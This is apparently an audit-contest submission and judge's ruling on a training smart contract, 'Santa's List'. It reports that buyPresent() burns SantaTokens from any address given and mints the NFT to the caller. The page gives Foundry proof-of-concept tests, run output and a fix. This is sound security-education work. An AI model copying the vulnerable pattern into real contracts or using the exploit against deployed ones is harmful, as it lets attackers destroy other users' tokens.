Santa's List

AI First Flight #3
Beginner FriendlyFoundry
EXP
View results
Submission Details
Severity: high
Valid

Unauthorized Burning of SantaTokens Allows Minting NFTs at Another User’s Expense

Unauthorized Burning of SantaTokens Allows Minting NFTs at Another User’s Expense


Description

The buyPresent() function is intended to allow users to purchase an NFT for someone else by spending SantaTokens. According to the protocol documentation, SantaTokens are earned only by users marked as EXTRA_NICE and are meant to be voluntarily spent by their holders.

function buyPresent(address presentReceiver) external {
i_santaToken.burn(presentReceiver);
_mintAndIncrement();
}

However, the current implementation of buyPresent() does not enforce that the caller is the owner of the SantaTokens being burned. Instead, it blindly calls i_santaToken.burn(presentReceiver), using the provided presentReceiver address as the token source, while minting the NFT to the caller.

This allows a malicious user to specify the address of an EXTRA_NICE user who owns SantaTokens as presentReceiver. As a result, SantaTokens are burned from the victim’s balance without their consent, and the attacker receives the newly minted NFT.

In practice, this means that any user — including those marked as NAUGHTY or UNKNOWN — can mint NFTs for themselves by forcibly spending SantaTokens belonging to other users.


Risk

Likelihood: High

  • Exploitation is trivial and requires no special privileges

  • The vulnerable function buyPresent is publicly accessible

  • Attack does not depend on timing, randomness, or complex conditions

  • Any address can target a SantaToken holder to mint NFTs at their expense

Impact: Medium

  • Users can lose their SantaTokens without approving or initiating the action

  • NFTs can be minted by unauthorized users using another user’s tokens


Proof of Concept

To demonstrate this issue, an additional address is required to represent a malicious user with the NAUGHTY status. The following address is added to the existing test setup:

contract SantasListTest is Test {
SantasList santasList;
SantaToken santaToken;
address user = makeAddr("user");
address santa = makeAddr("santa");
+ address naughty = makeAddr("naughty");
_CheatCodes cheatCodes = _CheatCodes(VM_ADDRESS);

Proof of Code

function testBuyPresentByNaughty() public {
// Santa assigns statuses to users
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
santasList.checkList(naughty, SantasList.Status.NAUGHTY);
santasList.checkTwice(naughty, SantasList.Status.NAUGHTY);
vm.stopPrank();
// Move time forward to allow present collection
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
// EXTRA_NICE user collects their present and receives SantaTokens
vm.prank(user);
santasList.collectPresent();
// NAUGHTY user abuses buyPresent by burning SantaTokens from the victim
vm.prank(naughty);
santasList.buyPresent(user);
// The victim keeps their original NFT but loses SantaTokens
assertEq(santasList.balanceOf(user), 1);
assertEq(santaToken.balanceOf(user), 0);
// The attacker receives an NFT without owning SantaTokens
assertEq(santasList.balanceOf(naughty), 1);
}

To reproduce the issue, run the following command:

forge test --match-test testBuyPresentByNaughty

Output

Ran 1 test for test/unit/SantasListTest.t.sol:SantasListTest
[PASS] testBuyPresentByNaughty() (gas: 263345)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 10.84ms (183.04µs CPU time)
Ran 1 test suite in 93.02ms (10.84ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

As shown by the test, a user with the NAUGHTY status can mint an NFT for themselves by forcibly burning SantaTokens belonging to another user. This confirms the presence of a vulnerability that allows attackers to mint NFTs at the expense of other users without their consent.


Recommended Mitigation

Require that SantaTokens are burned from msg.sender, while allowing the NFT to be minted to the intended recipient.

+function _mintAndIncrementTo(address recipient) private {
+ _safeMint(recipient, s_tokenCounter++);
+}
function buyPresent(address presentReceiver) external {
- i_santaToken.burn(presentReceiver);
- _mintAndIncrement();
+ i_santaToken.burn(msg.sender);
+ _mintAndIncrementTo(presentReceiver);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 23 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] SantasList::buyPresent burns token from presentReceiver instead of caller and also sends present to caller instead of presentReceiver.

## Description The `buyPresent` function sends the present to the `caller` of the function but burns token from `presentReceiver` but the correct method should be the opposite of it. Due to this implementation of the function, malicious caller can mint NFT by burning the balance of other users by passing any arbitrary address for the `presentReceiver` field and tokens will be deducted from the `presentReceiver` and NFT will be minted to the malicious caller. Also, the NatSpec mentions that one has to approve `SantasList` contract to burn their tokens but it is not required and even without approving the funds can be burnt which means that the attacker can burn the balance of everyone and mint a large number of NFT for themselves. `buyPresent` function should send the present (NFT) to the `presentReceiver` and should burn the SantaToken from the caller i.e. `msg.sender`. ## Vulnerability Details The vulnerability lies inside the SantasList contract inside the `buyPresent` function starting from line 172. The buyPresent function takes in `presentReceiver` as an argument and burns the balance from `presentReceiver` instead of the caller i.e. `msg.sender`, as a result of which an attacker can specify any address for the `presentReceiver` that has approved or not approved the SantasToken (it doesn't matter whether they have approved token or not) to be spent by the SantasList contract, and as they are the caller of the function, they will get the NFT while burning the SantasToken balance of the address specified in `presentReceiver`. This vulnerability occurs due to wrong implementation of the buyPresent function instead of minting NFT to presentReceiver it is minted to caller as well as the tokens are burnt from presentReceiver instead of burning them from `msg.sender`. Also, the NatSpec mentions that one has to approve `SantasList` contract to burn their tokens but it is not required and even without approving the funds can be burnt which means that the attacker can burn the balance of everyone and mint a large number of NFT for themselves. ```cpp /* * @notice Buy a present for someone else. This should only be callable by anyone with SantaTokens. * @dev You'll first need to approve the SantasList contract to spend your SantaTokens. */ function buyPresent(address presentReceiver) external { @> i_santaToken.burn(presentReceiver); @> _mintAndIncrement(); } ``` ## PoC Add the test in the file: `test/unit/SantasListTest.t.sol` Run the test: ```cpp forge test --mt test_AttackerCanMintNft_ByBurningTokensOfOtherUsers ``` ```cpp function test_AttackerCanMintNft_ByBurningTokensOfOtherUsers() public { // address of the attacker address attacker = makeAddr("attacker"); vm.startPrank(santa); // Santa checks user once as EXTRA_NICE santasList.checkList(user, SantasList.Status.EXTRA_NICE); // Santa checks user second time santasList.checkTwice(user, SantasList.Status.EXTRA_NICE); vm.stopPrank(); // christmas time 🌳🎁 HO-HO-HO vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME()); // User collects their NFT and tokens for being EXTRA_NICE vm.prank(user); santasList.collectPresent(); assertEq(santaToken.balanceOf(user), 1e18); uint256 attackerInitNftBalance = santasList.balanceOf(attacker); // attacker get themselves the present by passing presentReceiver as user and burns user's SantaToken vm.prank(attacker); santasList.buyPresent(user); // user balance is decremented assertEq(santaToken.balanceOf(user), 0); assertEq(santasList.balanceOf(attacker), attackerInitNftBalance + 1); } ``` ## Impact - Due to the wrong implementation of function, an attacker can mint NFT by burning the SantaToken of other users by passing their address for the `presentReceiver` argument. The protocol assumes that user has to approve the SantasList in order to burn token on their behalf but it will be burnt even though they didn't approve it to `SantasList` contract, because directly `_burn` function is called directly by the `burn` function and both of them don't check for approval. - Attacker can burn the balance of everyone and mint a large number of NFT for themselves. ## Recommendations - Burn the SantaToken from the caller i.e., `msg.sender` - Mint NFT to the `presentReceiver` ```diff + function _mintAndIncrementToUser(address user) private { + _safeMint(user, s_tokenCounter++); + } function buyPresent(address presentReceiver) external { - i_santaToken.burn(presentReceiver); - _mintAndIncrement(); + i_santaToken.burn(msg.sender); + _mintAndIncrementToUser(presentReceiver); } ``` By applying this recommendation, there is no need to worry about the approvals and the vulnerability - 'tokens can be burnt even though users don't approve' will have zero impact as the tokens are now burnt from the caller. Therefore, an attacker can't burn others token.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!